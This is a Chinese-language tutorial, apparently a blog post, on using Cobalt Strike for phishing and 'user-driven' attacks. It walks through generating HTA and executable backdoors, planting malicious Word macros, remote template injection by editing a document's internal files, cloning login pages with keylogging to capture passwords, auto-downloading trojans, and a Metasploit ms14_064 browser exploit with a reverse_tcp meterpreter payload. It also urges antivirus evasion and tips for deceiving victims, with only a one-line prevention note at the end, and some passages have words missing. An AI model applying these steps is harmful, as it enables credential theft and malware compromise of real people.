本文最初发表于：

目录

前面两篇文章介绍了CS的基本使用方法和模块，本文将具体介绍CS进行用户驱动攻击，也就是钓鱼攻击、用户驱动攻击

用户驱动攻击是利用人的“安全漏洞”进行攻击，即需要欺骗用户进行交互，但这种方式也有很多优点

当我们采取行动进行跟踪并需要攻击时，就像用户在本地执行程序一样。CS为我们提供了几种用户驱动攻击的选项，如下

用户驱动攻击包（生成后门）

用户驱动的攻击包用户函数开启位置: -->

1. HTML 应用程序

HTML用HTML生成（/VBA/）这三个evil.hta文件实现原理不同

使用方法：

创建 HTTP 侦听器

工具栏攻击->生成后门->

通过漏洞传递后门文件执行，然后在线启动CS（如果不能在线启动，可以生成新的后门文件）

2. 宏文件

宏文件可以生成恶意宏并放入文件中，这是非常经典的钓鱼攻击手段，CS给出的操作步骤也很详细。

创建 HTTP 侦听器

工具栏攻击->生成后门->MS

创建一个新的 Word 文档或表格，然后按照以下步骤将宏添加到 Word 或

打开 Word，或转到“视图”->“宏”->“查看宏”

在宏名字段中输入任意名称，然后单击创建。

清除编辑器中所有现有的宏代码，然后单击 CS 步骤提示中的复制按钮，将宏复制到剪贴板。

粘贴到 Word 窗口并关闭宏编辑器窗口

会弹出一个窗口，提示无法保存文档。选择否，将文档保存为启用宏的文档。您可以将其保存为 .dotm 或 .docm。这两种文件格式都是启用宏的 Word 格式。

右边是启动宏的文档，图标不一样，所以遇到这种文档，不要点击启用内容（实际钓鱼需要诱导点击）

点击 ，就可以直接在CS上线了，是.exe

。EXE文件：

因为.exe需要调用DLL文件，所以如果电脑上有杀毒软件的话，会直接被杀掉，所以一定要避开杀毒软件。

这是最基本的宏病毒文件。当然，宏还有其他的使用方法。

2.2 宏文件远程加载恶意Word模板文件

攻击的目的是利用该漏洞在加载Word文档中的附加模板时发起恶意请求。当受害者点击攻击者发送的恶意Word文档时，将从远程服务器请求恶意模板并恶意模板上的恶意代码就会被执行，从而启动CS

基本方法保持不变

创建 HTTP 侦听器，生成并复制宏

新建一个word文档，在工具栏的空白处右键，点击自定义功能区

打开开发工具

点击确定后，Word工具栏中会出现一个开发工具，点击开发工具中的“ ”，将恶意宏代码粘贴到

将文档保存为 dotm 模板文件

其实你可以直接右键这个文档，用Word打开（双击不会打开），让主机上线，为了提高隐蔽性，可以远程加载这个文件

将带有宏的模板文件上传到服务器（或多个服务器），并确保受害者可以访问它

在word中新建一个有模板的docx文件，保存，将此文件的docx后缀改为zip后缀（tips：docx本来就是zip文件），解压后就可以看到文件了

找到word路径下的目录然后找到.文件，用记事本打开，会发现远程模板网站被加载了。

将恶意模板 URL 与 ?raw=true 连接起来以替换原始 URL

将解压后的文件夹再次压缩成zip文件，然后修改后缀为docx，这样就会生成一个远程加载的钓鱼文件。

发送给受害者，用户使用 Word 打开文件时将上网

要在 Word 中启用或禁用宏：文件 -> 选项 -> 信任中心 -> 信任中心设置

默认设置是“禁用所有宏并发出通知”。这样，当我们打开恶意文件时，系统会询问我们是否“启用内容”

如果受害者安装了杀毒软件，还是会被杀掉，所以需要进行免杀。

免杀教程（用到的工具有些过时）：

3. 发电机

生成器可以生成各种语言版本，方便反杀

4.可执行文件

可执行文件会生成可执行文件或者dll文件，默认是x86，勾选x64则包含x64，生成.exe(17kb) .dll(17kb)

可执行文件（）

可执行文件()()会生成一个没有进程的可执行文件或dll文件，里面包含的“功能齐全”的受控终端放入生成的可执行文件中 exe().dll( ) .ps1()

用户驱动的网络攻击（网络钓鱼攻击）

用户- Web -by 功能在以下位置启用：--> Web -by

1. Web服务管理

您可以在 Web 服务器管理网页中查看可用的模块`

2. 克隆网站

爬取目标网站前端，生成钓鱼界面

键盘记录器

例如克隆需要登录的网站，记录目标用户的键盘输入信息，获取账号和密码

首先生成克隆网站攻击->钓鱼攻击->克隆网站

克隆网站时，不要找加载登录二维码的，找个简单的页面就行，可以找个手机页面发给受害者，因为手机打开是看不到这个网址的。

用户输入的信息可以在网络日志中看到

4.2 使用 MSF 克隆网站链接

克隆的网站也可以和MSF挂钩，只要在生成钓鱼网站时选择MSF攻击URL即可。

# MSF payload只是适用于IE浏览器 use exploit/windows/browser/ms14_064_ole_code_execution set srvhost 192.168.179.138 set SRVPORT 8888 set payload windows/meterpreter/reverse_tcp set lhost 192.168.179.128 exploit

将生成一个 URL。将此 URL 放入

当受害者访问时，会加载恶意URL，进行溢出攻击。与文件托管相比，无需下载文件，但需要受害者用IE浏览器打开才有效。

4. 文件托管（下载）

通过-->Web-by-->Host File进行配置，攻击者可以利用该功能将文件上传到CS服务器并托管该文件。

如果想删除上传到CS服务器的文件，可以在-->Web-by-->下删除

如果您想查看谁访问了这些文件，您可以在“查看”-->“Web 日志”下进行检查

结合克隆网站，当用户访问恶意网站时，就会下载该文件，如果执行，就会启动CS上线。

首先生成文件下载攻击->钓鱼攻击->文件下载，选择本地木马文件

然后生成克隆网站攻击->钓鱼攻击->克隆网站

选择刚刚下载的文件，不要勾选键盘记录选项。

当受害者打开该URL时，页面为百度，文件会自动下载，用户打开后，CS就上线了。

5. 攻击

Java 签名攻击（已过时）

Java签名攻击 Java会启动一个Web服务，提供自签名的Java运行环境，浏览器会要求用户授予运行权限，如果用户同意，则实施控制，但这种攻击方式目前已经过时。

Java 智能攻击（已过时）**

Java智能攻击Java会自动检测Java版本，并利用已知漏洞绕过安全沙箱，但CS官方表示，这种攻击的实现方式已经过时，在当前环境下无效

6. 信息收集

创建钓鱼页面，收集用户信息，主机地址和端口是点击后会重定向的URL，可以填写大型网站，下方的勾选框对于系统版本较低的受害者来说已经过时，现在就可以使用了。点击开始，生成URL，诱导用户访问即可上线。

用户访问后，将被重定向到百度

您可以在CS->View-> 中看到收集到的信息

预防

预防攻击：提高用户安全意识，不点击随机链接、不下载随机文件，安装防病毒软件